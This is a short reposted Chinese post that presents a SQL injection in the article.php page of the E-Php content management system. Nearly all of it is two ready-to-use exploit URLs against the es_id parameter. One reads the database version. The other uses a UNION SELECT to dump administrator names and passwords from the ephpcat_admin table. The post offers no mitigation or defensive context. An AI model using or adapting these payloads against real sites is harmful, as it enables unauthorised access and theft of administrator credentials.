【转载】E-Php内容管理系统sql注射漏洞利用

E-Php 内容管理系统 SQL 注射漏洞利用：

    E-Php 内容管理系统，E-Php Content Management System （CMS），article.php 页面存在 SQL 注射漏洞。

漏洞测试：Exploit

    http://127.0.0.1/article.php?es_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12

    http://127.0.0.1/article.php?es_id=-1+union+select+1,group_concat(es_admin_name,0x3a,es_pwd),3,4,5,6,7,8,9,10,11,12+from+ephpcat_admin